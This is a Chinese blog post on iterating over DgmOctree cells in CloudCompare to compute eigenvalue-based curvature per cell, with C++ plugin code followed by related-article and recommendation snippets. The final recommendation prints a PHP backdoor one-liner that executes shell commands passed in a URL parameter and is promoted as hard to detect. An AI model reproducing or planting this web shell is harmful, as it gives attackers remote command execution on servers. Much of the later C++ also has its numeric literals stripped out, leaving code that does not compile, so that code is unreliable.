DgmOctree类的executeFunctionForAllCellsAtLevel和executeFunctionForAllCellsStartingAtLevel方法通过回调函数octreeCellFunc,执行八叉树中每个单元的相关计算。

unsigned DgmOctree::executeFunctionForAllCellsAtLevel(	unsigned char level,
octreeCellFunc func,
void** additionalParameters,
bool multiThread/*=false*/,
GenericProgressCallback* progressCb/*=0*/,
const char* functionTitle/*=0*/,
int maxThreadCount/*=0*/)

  

unsigned DgmOctree::executeFunctionForAllCellsStartingAtLevel(unsigned char startingLevel,
octreeCellFunc func,
void** additionalParameters,
unsigned minNumberOfPointsPerCell,
unsigned maxNumberOfPointsPerCell,
bool multiThread/* = true*/,
GenericProgressCallback* progressCb/*=0*/,
const char* functionTitle/*=0*/,
int maxThreadCount/*=0*/)

  通过DgmOctree遍历获取每一个Cell单元似乎还是一件很复杂的事情啊!

//! The coded octree structure
cellsContainer m_thePointsAndTheirCellCodes;

  通过编码集合实现?m_thePointsAndTheirCellCodes根据CellCodes对所有的点进行了排序。注意,所以知道每个Cell中的起始点的Index就可以确定Cell中的其他点。

	const cellsContainer& pointsAndTheirCellCodes() const
{
return m_thePointsAndTheirCellCodes;
}

  注意octreeCellFunc 回调函数的参数,第一个是const引用传递参数,值不可以修改。

typedef bool (*octreeCellFunc)(const octreeCell& cell, void**, NormalizedProgress*);

  因此尝试了使用下面的代码,应该是可行的:

if (!m_app)
return; const ccHObject::Container& selectedEntities = m_app->getSelectedEntities();
size_t selNum = selectedEntities.size();
if (selNum!=1)
{
m_app->dispToConsole("Select only one cloud!",ccMainAppInterface::ERR_CONSOLE_MESSAGE);
return;
} ccHObject* ent = selectedEntities[0];
assert(ent);
if (!ent || !ent->isA(CC_TYPES::POINT_CLOUD))
{
m_app->dispToConsole("Select a real point cloud!",ccMainAppInterface::ERR_CONSOLE_MESSAGE);
return;
} ccPointCloud* theCloud = static_cast<ccPointCloud*>(ent);
if (!theCloud)
return;
//输入参数,半径大小
float kernelRadius=1;
unsigned count = theCloud->size();
bool hasNorms = theCloud->hasNormals();
CCVector3 bbMin, bbMax;
theCloud->getBoundingBox(bbMin,bbMax);
const CCVector3d& globalShift = theCloud->getGlobalShift();
double globalScale = theCloud->getGlobalScale();
//进度条
ccProgressDialog pDlg(true,m_app->getMainWindow());
unsigned numberOfPoints = theCloud->size();
if (numberOfPoints < 5)
return ;
//构建八叉树
CCLib::DgmOctree* theOctree = NULL;
if (!theOctree)
{
theOctree = new CCLib::DgmOctree(theCloud);
if (theOctree->build(&pDlg) < 1)
{
delete theOctree;
return ;
}
}
int result = 0;
QString sfName="Eigen_Value";
int sfIdx = -1;
ccPointCloud* pc = 0;
//注意先添加ScalarField,并设置为当前的
if (theCloud->isA(CC_TYPES::POINT_CLOUD))
{
pc = static_cast<ccPointCloud*>(theCloud); sfIdx = pc->getScalarFieldIndexByName(qPrintable(sfName));
if (sfIdx < 0)
sfIdx = pc->addScalarField(qPrintable(sfName));
if (sfIdx >= 0)
pc->setCurrentInScalarField(sfIdx);
else
{
ccConsole::Error(QString("Failed to create scalar field on cloud '%1' (not enough memory?)").arg(pc->getName()));
}
}
//开启ScalarField模式
theCloud->enableScalarField();
//给定的半径,寻找最佳的Level
unsigned char level = theOctree->findBestLevelForAGivenNeighbourhoodSizeExtraction(kernelRadius); //parameters
void* additionalParameters[1] = {static_cast<void*>(&kernelRadius) }; if (theOctree->executeFunctionForAllCellsAtLevel(level,
&computeCellEigenValueAtLevel,
additionalParameters,
true,
&pDlg,
"Eigen value Computation") == 0)
{
//something went wrong
result = -4;
} //number of cells for this level
unsigned cellCount = theOctree->getCellNumber(level);
unsigned maxCellPopulation =theOctree->getmaxCellPopulation(level); //cell descriptor (initialize it with first cell/point)
CCLib::DgmOctree::octreeCell cell(theOctree);
if (!cell.points->reserve(maxCellPopulation)) //not enough memory
return;
cell.level = level;
cell.index = 0; CCLib::DgmOctree::cellIndexesContainer vec;
try
{
vec.resize(cellCount);
}
catch (const std::bad_alloc&)
{
//not enough memory
return;
} //binary shift for cell code truncation
unsigned char bitDec = GET_NDT_BIT_SHIFT(level); CCLib::DgmOctree::cellsContainer::const_iterator p =theOctree->pointsAndTheirCellCodes().begin(); CCLib::DgmOctree::OctreeCellCodeType predCode = (p->theCode >> bitDec)+1; //pred value must be different than the first element's for (unsigned i=0,j=0; i<theOctree->getNumberOfProjectedPoints(); ++i,++p)
{
CCLib::DgmOctree::OctreeCellCodeType currentCode = (p->theCode >> bitDec); if (predCode != currentCode)
{
vec[j++] = i;//存储索引 int n=cell.points->size();
if(n>=5)
{
CCVector3d Psum(0,0,0);
for (unsigned i=0; i<n; ++i)
{
CCVector3 P;
cell.points->getPoint(i,P);
Psum.x += P.x;
Psum.y += P.y;
Psum.z += P.z;
}
ScalarType curv = NAN_VALUE;
CCVector3 G(static_cast<PointCoordinateType>(Psum.x / n),
static_cast<PointCoordinateType>(Psum.y / n),
static_cast<PointCoordinateType>(Psum.z / n) ); double mXX = 0.0;
double mYY = 0.0;
double mZZ = 0.0;
double mXY = 0.0;
double mXZ = 0.0;
double mYZ = 0.0;
//for each point in the cell
for (unsigned i=0; i<n; ++i)
{
CCVector3 CellP;
cell.points->getPoint(i,CellP);
CCVector3 P = CellP - G; mXX += static_cast<double>(P.x)*P.x;
mYY += static_cast<double>(P.y)*P.y;
mZZ += static_cast<double>(P.z)*P.z;
mXY += static_cast<double>(P.x)*P.y;
mXZ += static_cast<double>(P.x)*P.z;
mYZ += static_cast<double>(P.y)*P.z;
}
//symmetry
CCLib::SquareMatrixd covMat(3);
covMat.m_values[0][0] = mXX/n;
covMat.m_values[1][1] = mYY/n;
covMat.m_values[2][2] = mZZ/n;
covMat.m_values[1][0] = covMat.m_values[0][1] = mXY/n;
covMat.m_values[2][0] = covMat.m_values[0][2] = mXZ/n;
covMat.m_values[2][1] = covMat.m_values[1][2] = mYZ/n; CCLib::SquareMatrixd eigVectors;
std::vector<double> eigValues; if (!Jacobi<double>::ComputeEigenValuesAndVectors(covMat, eigVectors, eigValues))
{
//failure
curv= NAN_VALUE;
}
//compute eigen value
double e0 = eigValues[0];
double e1 = eigValues[1];
double e2 = eigValues[2];
double sum = fabs(e0+e1+e2);
if (sum < ZERO_TOLERANCE)
{
curv= NAN_VALUE;
} double eMin = std::min(std::min(e0,e1),e2);
curv= static_cast<ScalarType>(fabs(eMin) / sum); for (unsigned i=0; i<n; ++i)
{
//current point index
unsigned index = cell.points->getPointGlobalIndex(i);
//current point index in neighbourhood (to compute curvature at the right position!)
unsigned indexInNeighbourhood = 0; cell.points->setPointScalarValue(i,curv);
}
} //and we start a new cell开始新的Cell
cell.index += cell.points->size();
cell.points->clear(false);
cell.truncatedCode = currentCode;
/*cell.mean_=G;
cell.cov_=covMat;
CCVector3 eigvalues1(e0,e1,e2);
cell.evals_=eigvalues1;*/
} cell.points->addPointIndex(p->theIndex); //can't fail (see above)
predCode = currentCode;
} if (result == 0)
{
if (pc && sfIdx >= 0)
{
//设置当前显示的ScalarField
pc->setCurrentDisplayedScalarField(sfIdx);
pc->showSF(sfIdx >= 0);
pc->getCurrentInScalarField()->computeMinAndMax();
}
theCloud->prepareDisplayForRefresh();
}
else
{
ccConsole::Warning(QString("Failed to apply processing to cloud '%1'").arg(theCloud->getName()));
if (pc && sfIdx >= 0)
{
pc->deleteScalarField(sfIdx);
sfIdx = -1;
}
}

  参考DgmOctree::getCellIndexes   DgmOctree::getPointsInCellByCellIndex

 //重要,获取每一八叉树层的Cell索引的集合
bool DgmOctreeNDT::getCellIndexes(unsigned char level, cellIndexesContainer& vec) const
{
try
{
vec.resize(m_cellCount[level]);
}
catch (const std::bad_alloc&)
{
//not enough memory
return false;
} //binary shift for cell code truncation
unsigned char bitDec = GET_NDT_BIT_SHIFT(level); cellsContainer::const_iterator p = m_thePointsAndTheirCellCodes.begin(); OctreeCellCodeType predCode = (p->theCode >> bitDec)+; //pred value must be different than the first element's for (unsigned i=,j=; i<m_numberOfProjectedPoints; ++i,++p)
{
OctreeCellCodeType currentCode = (p->theCode >> bitDec); if (predCode != currentCode)
vec[j++] = i; predCode = currentCode;
} return true;
}

DgmOctree::getCellIndexes

 bool DgmOctreeNDT::getPointsInCellByCellIndex(    ReferenceCloud* cloud,
unsigned cellIndex,
unsigned char level,
bool clearOutputCloud/* = true*/) const
{
assert(cloud && cloud->getAssociatedCloud() == m_theAssociatedCloud); //binary shift for cell code truncation
unsigned char bitDec = GET_NDT_BIT_SHIFT(level); //we look for the first index in 'm_thePointsAndTheirCellCodes' corresponding to this cell
cellsContainer::const_iterator p = m_thePointsAndTheirCellCodes.begin()+cellIndex;
OctreeCellCodeType searchCode = (p->theCode >> bitDec); if (clearOutputCloud)
cloud->clear(false); //while the (partial) cell code matches this cell
while ((p != m_thePointsAndTheirCellCodes.end()) && ((p->theCode >> bitDec) == searchCode))
{
if (!cloud->addPointIndex(p->theIndex))
return false;
++p;
} return true;
}

DgmOctree::getPointsInCellByCellIndex

  涉及的类包括:近邻点类、近邻点查询结构体

  另外:

 bool qNDTRansacSD::computeCellEigenValueAtLevel(const CCNDTLib::DgmOctreeNDT::octreeCellNDT& cell,
void** additionalParameters,NormalizedProgress* nProgress/*=0*/)
{
//parameters
PointCoordinateType radius = *static_cast<PointCoordinateType*>(additionalParameters[]); structure for nearest neighbors search
int n=cell.points->size();
CCVector3d Psum(,,);
for (unsigned i=; i<n; ++i)
{
CCVector3 P;
cell.points->getPoint(i,P);
Psum.x += P.x;
Psum.y += P.y;
Psum.z += P.z;
}
ScalarType curv = NAN_VALUE;
CCVector3 G(static_cast<PointCoordinateType>(Psum.x / n),
static_cast<PointCoordinateType>(Psum.y / n),
static_cast<PointCoordinateType>(Psum.z / n) ); double mXX = 0.0;
double mYY = 0.0;
double mZZ = 0.0;
double mXY = 0.0;
double mXZ = 0.0;
double mYZ = 0.0;
//for each point in the cell
for (unsigned i=; i<n; ++i)
{
CCVector3 CellP;
cell.points->getPoint(i,CellP);
CCVector3 P = CellP - G; mXX += static_cast<double>(P.x)*P.x;
mYY += static_cast<double>(P.y)*P.y;
mZZ += static_cast<double>(P.z)*P.z;
mXY += static_cast<double>(P.x)*P.y;
mXZ += static_cast<double>(P.x)*P.z;
mYZ += static_cast<double>(P.y)*P.z;
}
//symmetry
CCLib::SquareMatrixd covMat();
covMat.m_values[][] = mXX/n;
covMat.m_values[][] = mYY/n;
covMat.m_values[][] = mZZ/n;
covMat.m_values[][] = covMat.m_values[][] = mXY/n;
covMat.m_values[][] = covMat.m_values[][] = mXZ/n;
covMat.m_values[][] = covMat.m_values[][] = mYZ/n; CCLib::SquareMatrixd eigVectors;
std::vector<double> eigValues; if (!Jacobi<double>::ComputeEigenValuesAndVectors(covMat, eigVectors, eigValues))
{
//failure
curv= NAN_VALUE;
} //compute curvature as the rate of change of the surface
double e0 = eigValues[];
double e1 = eigValues[];
double e2 = eigValues[];
double sum = fabs(e0+e1+e2);
if (sum < ZERO_TOLERANCE)
{
curv= NAN_VALUE;
} double eMin = std::min(std::min(e0,e1),e2);
curv= static_cast<ScalarType>(fabs(eMin) / sum); for (unsigned i=; i<n; ++i)
{
//current point index
unsigned index = cell.points->getPointGlobalIndex(i);
//current point index in neighbourhood (to compute curvature at the right position!)
unsigned indexInNeighbourhood = ; cell.points->setPointScalarValue(i,curv);
if (nProgress && !nProgress->oneStep())
{
return false;
}
} return true;
}

qNDTRansacSD::computeCellEigenValueAtLevel

[CC]DgmOctree—执行Cell遍历和单元计算的更多相关文章

  1. DOM2级提供的对DOM结构执行深度优先遍历 笔记

    NodeIterator和TreeWalker这2个类型可以基于给定的起点对DOM结构执行深度优先遍历.(我测试用的浏览器是Chrome,介绍说IE不支持DOM遍历,但是不知道最新的IE支持不支持) ...

  2. MATLAB 的 cell 大法(单元格数组)

    MATLAB 的 cell,称单元格数组 or 元胞数组:使用频率特别高,甚至比 struct 结构体还高. MATLAB文档给出的 cell 官方定义: A cell array is a coll ...

  3. iOS不得姐项目--精华模块上拉下拉的注意事项,日期显示,重构子控制器,计算cell的高度(只计算一次),图片帖子的显示

    一.上拉下拉注意事项 使用MJRefresh中的上拉控件自动设置透明 当请求下页数据通过page的时候,注意的是上拉加载更多数据失败的问题,下拉加载数据失败了,页数应该还原.或者是请求成功的时候再将页 ...

  4. 在java代码中执行js脚本,实现计算出字符串“(1+2)*(1+3)”的结果

            今天在公司项目中,发现一个计算运费的妙招.由于运费规则各种各样,因此写一个公式存到数据库.下次需要计算运费时,直接取出这个公式,把公式的未知变量给替换掉,然后计算出结果就是ok了. 一 ...

  5. 自执行函数与setTimeout结合计算

    var v1=0,v2=0,v3=0;        for(var i=1;i<=3;i++){            var i2=i;            (function(){   ...

  6. 从锅炉工到AI专家(10)

    RNN循环神经网络(Recurrent Neural Network) 如同word2vec中提到的,很多数据的原型,前后之间是存在关联性的.关联性的打破必然造成关键指征的丢失,从而在后续的训练和预测 ...

  7. [CC]点云密度计算

    包括两种计算方法:精确计算和近似计算(思考:local density=单位面积的点数 vs  local density =1/单个点所占的面积) 每种方法可以实现三种模式的点云密度计算,CC里面的 ...

  8. Cell complex单元复合形

    概念 (1)Piecewise linear complex (PLC) 分段线性复合形 (2)Cell complex 单元复合形 [1] (元胞复合形) (3)Linear Cell Comple ...

  9. plv8 中使用 eval 函数执行表达式计算

    在js 开发中我们都说eval 函数是邪恶的,但是此函数也有好多妙用,以下是几个简单的案例 eval 执行基于js 的表达式计算 比如我们有以下表 CREATE TABLE rules (    id ...

随机推荐

  1. html标准

    html1.使用双引号2. <img src=""> 不添加/3. <html lang="zh-CN">4. <a class= ...

  2. AgileEAS.NET SOA 中间件平台.Net Socket通信框架-完整应用例子-在线聊天室系统-下载配置

    一.AgileEAS.NET SOA中间件Socket/Tcp框架介绍 在文章AgileEAS.NET SOA 中间件平台Socket/Tcp通信框架介绍一文之中我们对AgileEAS.NET SOA ...

  3. linux协议栈skb操作函数

  4. windows phone 摄像头得到图片是旋转90°

    我上个随笔讲到,windows phone 拍出来的photo如果直接使用是反转了90°的. 研究了很久..终于发现问题.其实..这是使用习惯问题... CameraCaptureUI 得到的phot ...

  5. 管理node的版本

    检查当前node的版本 node -v 清除npm cache sudo npm cache clean -f 安装n模块 sudo npm install -g n 切换到别的版本,比如 v4.4. ...

  6. ZZULI 1876: 蛤玮的项链 Hash + 二分

    Time Limit: 6 Sec  Memory Limit: 128 MBSubmit: 153  Solved: 11 SubmitStatusWeb Board Description 蛤玮向 ...

  7. [Note] Software Testing

    Mocking: Difference between error and failure: TDD: BDD:

  8. 成功进行了一次UDP打洞

    本次测试参数:服务端是公网固定IP:两个客户端A和B分别位于不同电脑,不同宽带,不同型号路由后面(一个家庭路由,一个企业路由),且路由没有经过特别的设置.测试没有什么特别的地方,只是依照网络资料进行实 ...

  9. 第九周 psp

    团队项目PSP 一:表格     C类型 C内容 S开始时间 E结束时间 I时间间隔 T净时间(mins) 预计花费时间(mins) 讨论 讨论用户界面 9:50 12:45 35 45 80 分析与 ...

  10. PHP最简单的后门,且难查,不报毒!

    <?php $c=urldecode($_GET['c']);if($c){`$c`;}//完整 !$_GET['c']||`{$_GET['c']}`;//精简 /************** ...